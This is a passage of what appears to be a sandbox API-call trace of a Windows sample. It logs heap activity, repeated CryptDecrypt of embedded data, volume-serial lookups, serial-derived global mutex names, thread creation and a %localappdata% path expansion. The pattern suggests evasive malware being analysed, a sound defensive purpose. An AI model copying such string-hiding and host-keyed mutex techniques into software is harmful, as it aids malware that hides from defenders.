returned 0x0 [0035.588] SetLastError (dwErrCode=0x0) [0035.588] GetLastError () returned 0x0 [0035.588] SetLastError (dwErrCode=0x0) [0035.588] GetLastError () returned 0x0 [0035.588] SetLastError (dwErrCode=0x0) [0035.588] GetLastError () returned 0x0 [0035.588] SetLastError (dwErrCode=0x0) [0035.588] GetLastError () returned 0x0 [0035.588] SetLastError (dwErrCode=0x0) [0035.588] GetLastError () returned 0x0 [0035.588] SetLastError (dwErrCode=0x0) [0035.588] GetLastError () returned 0x0 [0035.588] SetLastError (dwErrCode=0x0) [0035.588] GetLastError () returned 0x0 [0035.588] SetLastError (dwErrCode=0x0) [0035.588] GetLastError () returned 0x0 [0035.588] SetLastError (dwErrCode=0x0) [0035.588] GetLastError () returned 0x0 [0035.588] SetLastError (dwErrCode=0x0) [0035.588] GetLastError () returned 0x0 [0035.588] SetLastError (dwErrCode=0x0) [0035.588] GetLastError () returned 0x0 [0035.588] SetLastError (dwErrCode=0x0) [0035.589] GetLastError () returned 0x0 [0035.589] SetLastError (dwErrCode=0x0) [0035.589] GetLastError () returned 0x0 [0035.589] SetLastError (dwErrCode=0x0) [0035.589] GetLastError () returned 0x0 [0035.589] SetLastError (dwErrCode=0x0) [0035.589] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x31) returned 0x81768 [0035.589] GetLastError () returned 0x0 [0035.589] SetLastError (dwErrCode=0x0) [0035.589] GetLastError () returned 0x0 [0035.589] SetLastError (dwErrCode=0x0) [0035.589] GetLastError () returned 0x0 [0035.589] SetLastError (dwErrCode=0x0) [0035.589] GetLastError () returned 0x0 [0035.589] SetLastError (dwErrCode=0x0) [0035.589] GetLastError () returned 0x0 [0035.589] SetLastError (dwErrCode=0x0) [0035.589] GetLastError () returned 0x0 [0035.589] SetLastError (dwErrCode=0x0) [0035.589] GetLastError () returned 0x0 [0035.589] SetLastError (dwErrCode=0x0) [0035.589] GetLastError () returned 0x0 [0035.589] SetLastError (dwErrCode=0x0) [0035.589] GetLastError () returned 0x0 [0035.589] SetLastError (dwErrCode=0x0) [0035.589] GetLastError () returned 0x0 [0035.590] SetLastError (dwErrCode=0x0) [0035.590] GetLastError () returned 0x0 [0035.590] SetLastError (dwErrCode=0x0) [0035.590] GetLastError () returned 0x0 [0035.590] SetLastError (dwErrCode=0x0) [0035.590] GetLastError () returned 0x0 [0035.590] SetLastError (dwErrCode=0x0) [0035.590] GetLastError () returned 0x0 [0035.590] SetLastError (dwErrCode=0x0) [0035.590] GetLastError () returned 0x0 [0035.590] SetLastError (dwErrCode=0x0) [0035.590] GetLastError () returned 0x0 [0035.590] SetLastError (dwErrCode=0x0) [0035.590] GetLastError () returned 0x0 [0035.590] SetLastError (dwErrCode=0x0) [0035.590] GetLastError () returned 0x0 [0035.590] SetLastError (dwErrCode=0x0) [0035.590] GetLastError () returned 0x0 [0035.590] SetLastError (dwErrCode=0x0) [0035.590] GetLastError () returned 0x0 [0035.590] SetLastError (dwErrCode=0x0) [0035.590] GetLastError () returned 0x0 [0035.590] SetLastError (dwErrCode=0x0) [0035.590] GetLastError () returned 0x0 [0035.590] SetLastError (dwErrCode=0x0) [0035.590] GetLastError () returned 0x0 [0035.591] SetLastError (dwErrCode=0x0) [0035.591] GetLastError () returned 0x0 [0035.591] SetLastError (dwErrCode=0x0) [0035.591] GetLastError () returned 0x0 [0035.591] SetLastError (dwErrCode=0x0) [0035.591] GetLastError () returned 0x0 [0035.591] SetLastError (dwErrCode=0x0) [0035.591] GetLastError () returned 0x0 [0035.591] SetLastError (dwErrCode=0x0) [0035.591] GetLastError () returned 0x0 [0035.591] SetLastError (dwErrCode=0x0) [0035.591] GetLastError () returned 0x0 [0035.591] SetLastError (dwErrCode=0x0) [0035.591] GetLastError () returned 0x0 [0035.591] SetLastError (dwErrCode=0x0) [0035.591] GetLastError () returned 0x0 [0035.591] SetLastError (dwErrCode=0x0) [0035.591] GetLastError () returned 0x0 [0035.591] SetLastError (dwErrCode=0x0) [0035.591] GetLastError () returned 0x0 [0035.591] SetLastError (dwErrCode=0x0) [0035.591] GetLastError () returned 0x0 [0035.591] SetLastError (dwErrCode=0x0) [0035.591] GetLastError () returned 0x0 [0035.591] SetLastError (dwErrCode=0x0) [0035.591] GetLastError () returned 0x0 [0035.592] SetLastError (dwErrCode=0x0) [0035.592] GetLastError () returned 0x0 [0035.592] SetLastError (dwErrCode=0x0) [0035.592] GetLastError () returned 0x0 [0035.592] SetLastError (dwErrCode=0x0) [0035.592] GetLastError () returned 0x0 [0035.592] SetLastError (dwErrCode=0x0) [0035.592] GetLastError () returned 0x0 [0035.592] SetLastError (dwErrCode=0x0) [0035.592] GetLastError () returned 0x0 [0035.592] SetLastError (dwErrCode=0x0) [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x94) returned 0x817a8 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1f) returned 0x81848 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x28) returned 0x81870 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x37) returned 0x818a0 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x3c) returned 0x818e0 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x31) returned 0x81928 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x14) returned 0x81968 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x24) returned 0x81988 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0xd) returned 0x819b8 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x17) returned 0x819d0 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x2b) returned 0x819f0 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x15) returned 0x81a28 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x17) returned 0x81a48 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x22) returned 0x81a68 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0xe) returned 0x81a98 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0xc1) returned 0x81ab0 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x3e) returned 0x81b80 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1b) returned 0x81bc8 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1d) returned 0x81bf0 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x48) returned 0x81c18 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x12) returned 0x81c68 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x18) returned 0x81c88 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1b) returned 0x81ca8 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x24) returned 0x81cd0 [0035.592] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x29) returned 0x81d00 [0035.593] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x81d38 [0035.593] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x6b) returned 0x81d60 [0035.593] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x17) returned 0x81dd8 [0035.593] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0xf) returned 0x81df8 [0035.593] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x16) returned 0x81e10 [0035.593] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x28) returned 0x81e30 [0035.593] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x27) returned 0x81e60 [0035.593] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x12) returned 0x81e90 [0035.593] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x21) returned 0x81eb0 [0035.593] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x10) returned 0x81ee0 [0035.593] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1c) returned 0x81ef8 [0035.593] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x12) returned 0x81f20 [0035.593] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x80fd0 | out: hHeap=0x80000) returned 1 [0035.593] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0035.593] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x80) returned 0x81f40 [0035.593] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1088136) returned 0x0 [0035.594] RtlSizeHeap (HeapHandle=0x80000, Flags=0x0, MemoryPointer=0x81f40) returned 0x80 [0035.594] GetLastError () returned 0x0 [0035.594] SetLastError (dwErrCode=0x0) [0035.594] GetLastError () returned 0x0 [0035.594] SetLastError (dwErrCode=0x0) [0035.594] GetLastError () returned 0x0 [0035.594] SetLastError (dwErrCode=0x0) [0035.594] GetLastError () returned 0x0 [0035.594] SetLastError (dwErrCode=0x0) [0035.594] GetLastError () returned 0x0 [0035.594] SetLastError (dwErrCode=0x0) [0035.594] GetLastError () returned 0x0 [0035.594] SetLastError (dwErrCode=0x0) [0035.594] GetLastError () returned 0x0 [0035.594] SetLastError (dwErrCode=0x0) [0035.594] GetLastError () returned 0x0 [0035.594] SetLastError (dwErrCode=0x0) [0035.594] GetLastError () returned 0x0 [0035.594] SetLastError (dwErrCode=0x0) [0035.594] GetLastError () returned 0x0 [0035.594] SetLastError (dwErrCode=0x0) [0035.595] GetLastError () returned 0x0 [0035.595] SetLastError (dwErrCode=0x0) [0035.595] GetLastError () returned 0x0 [0035.595] SetLastError (dwErrCode=0x0) [0035.595] GetLastError () returned 0x0 [0035.595] SetLastError (dwErrCode=0x0) [0035.595] GetLastError () returned 0x0 [0035.595] SetLastError (dwErrCode=0x0) [0035.595] GetLastError () returned 0x0 [0035.595] SetLastError (dwErrCode=0x0) [0035.595] GetLastError () returned 0x0 [0035.595] SetLastError (dwErrCode=0x0) [0035.595] GetLastError () returned 0x0 [0035.595] SetLastError (dwErrCode=0x0) [0035.595] GetLastError () returned 0x0 [0035.595] SetLastError (dwErrCode=0x0) [0035.595] GetLastError () returned 0x0 [0035.595] SetLastError (dwErrCode=0x0) [0035.595] GetLastError () returned 0x0 [0035.595] SetLastError (dwErrCode=0x0) [0035.595] GetLastError () returned 0x0 [0035.595] SetLastError (dwErrCode=0x0) [0035.595] GetLastError () returned 0x0 [0035.595] SetLastError (dwErrCode=0x0) [0035.595] GetLastError () returned 0x0 [0035.595] SetLastError (dwErrCode=0x0) [0035.596] GetLastError () returned 0x0 [0035.596] SetLastError (dwErrCode=0x0) [0035.596] GetLastError () returned 0x0 [0035.596] SetLastError (dwErrCode=0x0) [0035.596] GetLastError () returned 0x0 [0035.596] SetLastError (dwErrCode=0x0) [0035.596] GetLastError () returned 0x0 [0035.596] SetLastError (dwErrCode=0x0) [0035.596] GetLastError () returned 0x0 [0035.596] SetLastError (dwErrCode=0x0) [0035.596] GetLastError () returned 0x0 [0035.596] SetLastError (dwErrCode=0x0) [0035.596] GetLastError () returned 0x0 [0035.596] SetLastError (dwErrCode=0x0) [0035.596] GetLastError () returned 0x0 [0035.596] SetLastError (dwErrCode=0x0) [0035.596] GetLastError () returned 0x0 [0035.596] SetLastError (dwErrCode=0x0) [0035.596] GetLastError () returned 0x0 [0035.596] SetLastError (dwErrCode=0x0) [0035.596] GetLastError () returned 0x0 [0035.596] SetLastError (dwErrCode=0x0) [0035.596] GetLastError () returned 0x0 [0035.596] SetLastError (dwErrCode=0x0) [0035.596] GetLastError () returned 0x0 [0035.597] SetLastError (dwErrCode=0x0) [0035.597] GetLastError () returned 0x0 [0035.597] SetLastError (dwErrCode=0x0) [0035.597] GetLastError () returned 0x0 [0035.597] SetLastError (dwErrCode=0x0) [0035.597] GetLastError () returned 0x0 [0035.597] SetLastError (dwErrCode=0x0) [0035.597] GetLastError () returned 0x0 [0035.597] SetLastError (dwErrCode=0x0) [0035.597] GetLastError () returned 0x0 [0035.597] SetLastError (dwErrCode=0x0) [0035.597] GetLastError () returned 0x0 [0035.597] SetLastError (dwErrCode=0x0) [0035.597] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x30) returned 0x80fd0 [0035.597] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x2cc0) returned 0x81fc8 [0035.597] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x15c) returned 0x84c90 [0035.597] GetTickCount () returned 0x1eea1 [0035.597] GetLastError () returned 0x0 [0035.597] SetLastError (dwErrCode=0x0) [0035.598] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x73f7a0, cchData=32 | out: lpLCData="\x03") returned 16 [0035.598] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1c) returned 0x84df8 [0035.598] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1c) returned 0x84e20 [0035.598] GetVersion () returned 0x23f00206 [0035.598] GetCurrentProcess () returned 0xffffffff [0035.598] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x73f704 | out: TokenHandle=0x73f704*=0x1ec) returned 1 [0035.598] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x14, TokenInformation=0x73f6fc, TokenInformationLength=0x4, ReturnLength=0x73f700 | out: TokenInformation=0x73f6fc, ReturnLength=0x73f700) returned 1 [0035.598] CloseHandle (hObject=0x1ec) returned 1 [0035.598] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x84e48 [0035.598] CryptAcquireContextW (in: phProv=0x108fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x108fcf0*=0xe6710) returned 1 [0036.001] CryptImportKey (in: hProv=0xe6710, pbData=0x73f5f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f660 | out: phKey=0x73f660*=0xf8f80) returned 1 [0036.003] CryptSetKeyParam (hKey=0xf8f80, dwParam=0x1, pbData=0x73f648, dwFlags=0x0) returned 1 [0036.003] CryptDecrypt (in: hKey=0xf8f80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0x73f614 | out: pbData=0x84e48, pdwDataLen=0x73f614) returned 1 [0036.003] CryptDestroyKey (hKey=0xf8f80) returned 1 [0036.003] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x84e70 [0036.003] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x84e98 [0036.003] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x84ec0 [0036.003] CryptImportKey (in: hProv=0xe6710, pbData=0x73f5d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f638 | out: phKey=0x73f638*=0xf9400) returned 1 [0036.003] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f620, dwFlags=0x0) returned 1 [0036.003] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84ec0, pdwDataLen=0x73f5ec | out: pbData=0x84ec0, pdwDataLen=0x73f5ec) returned 1 [0036.003] CryptDestroyKey (hKey=0xf9400) returned 1 [0036.003] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ec0 | out: hHeap=0x80000) returned 1 [0036.003] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x84e70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.004] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e98 | out: hHeap=0x80000) returned 1 [0036.004] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0036.004] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x73f6a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x73f6a0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.004] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e70 | out: hHeap=0x80000) returned 1 [0036.004] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x84e48 [0036.004] CryptImportKey (in: hProv=0xe6710, pbData=0x73f62c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f694 | out: phKey=0x73f694*=0xf9400) returned 1 [0036.004] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f67c, dwFlags=0x0) returned 1 [0036.004] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0x73f648 | out: pbData=0x84e48, pdwDataLen=0x73f648) returned 1 [0036.004] CryptDestroyKey (hKey=0xf9400) returned 1 [0036.004] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x84e90 [0036.004] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x0 [0036.004] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773000") returned 0x1f0 [0036.004] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0036.004] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0036.004] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e90 | out: hHeap=0x80000) returned 1 [0036.004] ReleaseMutex (hMutex=0x1f0) returned 1 [0036.004] CloseHandle (hObject=0x1f0) returned 1 [0036.005] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x84e48 [0036.005] CryptImportKey (in: hProv=0xe6710, pbData=0x73f60c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f674 | out: phKey=0x73f674*=0xf94c0) returned 1 [0036.005] CryptSetKeyParam (hKey=0xf94c0, dwParam=0x1, pbData=0x73f65c, dwFlags=0x0) returned 1 [0036.005] CryptDecrypt (in: hKey=0xf94c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0x73f628 | out: pbData=0x84e48, pdwDataLen=0x73f628) returned 1 [0036.005] CryptDestroyKey (hKey=0xf94c0) returned 1 [0036.005] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x84e70 [0036.005] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x84e98 [0036.005] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x84ec0 [0036.005] CryptImportKey (in: hProv=0xe6710, pbData=0x73f5e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f64c | out: phKey=0x73f64c*=0xf9400) returned 1 [0036.005] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f634, dwFlags=0x0) returned 1 [0036.005] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84ec0, pdwDataLen=0x73f600 | out: pbData=0x84ec0, pdwDataLen=0x73f600) returned 1 [0036.005] CryptDestroyKey (hKey=0xf9400) returned 1 [0036.005] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ec0 | out: hHeap=0x80000) returned 1 [0036.005] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x84e70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.005] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e98 | out: hHeap=0x80000) returned 1 [0036.005] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0036.005] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x73f6b4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x73f6b4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.005] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e70 | out: hHeap=0x80000) returned 1 [0036.005] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x84e48 [0036.005] CryptImportKey (in: hProv=0xe6710, pbData=0x73f640, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f6a8 | out: phKey=0x73f6a8*=0xf9400) returned 1 [0036.005] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f690, dwFlags=0x0) returned 1 [0036.005] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0x73f65c | out: pbData=0x84e48, pdwDataLen=0x73f65c) returned 1 [0036.005] CryptDestroyKey (hKey=0xf9400) returned 1 [0036.005] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x84e90 [0036.005] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0036.006] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x1f0 [0036.006] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0036.006] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0036.006] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e90 | out: hHeap=0x80000) returned 1 [0036.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1081f5f, lpParameter=0x73f744, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218 [0036.006] Sleep (dwMilliseconds=0x1388) [0041.259] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x84e48 [0041.259] CryptImportKey (in: hProv=0xe6710, pbData=0x73f5f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f660 | out: phKey=0x73f660*=0xf9000) returned 1 [0041.259] CryptSetKeyParam (hKey=0xf9000, dwParam=0x1, pbData=0x73f648, dwFlags=0x0) returned 1 [0041.259] CryptDecrypt (in: hKey=0xf9000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0x73f614 | out: pbData=0x84e48, pdwDataLen=0x73f614) returned 1 [0041.260] CryptDestroyKey (hKey=0xf9000) returned 1 [0041.260] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x84e70 [0041.260] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x84e98 [0041.260] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x84ec0 [0041.260] CryptImportKey (in: hProv=0xe6710, pbData=0x73f5d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f638 | out: phKey=0x73f638*=0xf8f00) returned 1 [0041.260] CryptSetKeyParam (hKey=0xf8f00, dwParam=0x1, pbData=0x73f620, dwFlags=0x0) returned 1 [0041.260] CryptDecrypt (in: hKey=0xf8f00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84ec0, pdwDataLen=0x73f5ec | out: pbData=0x84ec0, pdwDataLen=0x73f5ec) returned 1 [0041.260] CryptDestroyKey (hKey=0xf8f00) returned 1 [0041.260] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ec0 | out: hHeap=0x80000) returned 1 [0041.260] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x84e70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0041.260] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e98 | out: hHeap=0x80000) returned 1 [0041.260] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0041.260] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x73f6a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x73f6a0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0041.260] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e70 | out: hHeap=0x80000) returned 1 [0041.260] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x84e48 [0041.260] CryptImportKey (in: hProv=0xe6710, pbData=0x73f62c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f694 | out: phKey=0x73f694*=0xf90c0) returned 1 [0041.260] CryptSetKeyParam (hKey=0xf90c0, dwParam=0x1, pbData=0x73f67c, dwFlags=0x0) returned 1 [0041.260] CryptDecrypt (in: hKey=0xf90c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0x73f648 | out: pbData=0x84e48, pdwDataLen=0x73f648) returned 1 [0041.260] CryptDestroyKey (hKey=0xf90c0) returned 1 [0041.260] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x84e90 [0041.260] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x220 [0041.260] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0041.261] CloseHandle (hObject=0x220) returned 1 [0041.261] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0041.261] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e90 | out: hHeap=0x80000) returned 1 [0041.261] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x60) returned 0x84e48 [0041.261] CryptImportKey (in: hProv=0xe6710, pbData=0x73f650, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f6b8 | out: phKey=0x73f6b8*=0xf9000) returned 1 [0041.261] CryptSetKeyParam (hKey=0xf9000, dwParam=0x1, pbData=0x73f6a0, dwFlags=0x0) returned 1 [0041.261] CryptDecrypt (in: hKey=0xf9000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0x73f66c | out: pbData=0x84e48, pdwDataLen=0x73f66c) returned 1 [0041.261] CryptDestroyKey (hKey=0xf9000) returned 1 [0041.261] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x84eb0 [0041.261] CryptImportKey (in: hProv=0xe6710, pbData=0x73f628, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f690 | out: phKey=0x73f690*=0xf9400) returned 1 [0041.261] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f678, dwFlags=0x0) returned 1 [0041.261] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84eb0, pdwDataLen=0x73f644 | out: pbData=0x84eb0, pdwDataLen=0x73f644) returned 1 [0041.261] CryptDestroyKey (hKey=0xf9400) returned 1 [0041.261] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x84ed8 [0041.261] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x84f00 [0041.261] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x84f28 [0041.261] CryptImportKey (in: hProv=0xe6710, pbData=0x73f600, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f668 | out: phKey=0x73f668*=0xf9500) returned 1 [0041.261] CryptSetKeyParam (hKey=0xf9500, dwParam=0x1, pbData=0x73f650, dwFlags=0x0) returned 1 [0041.261] CryptDecrypt (in: hKey=0xf9500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84f28, pdwDataLen=0x73f61c | out: pbData=0x84f28, pdwDataLen=0x73f61c) returned 1 [0041.261] CryptDestroyKey (hKey=0xf9500) returned 1 [0041.261] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84f28 | out: hHeap=0x80000) returned 1 [0041.261] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x84ed8, nSize=0xf | out: 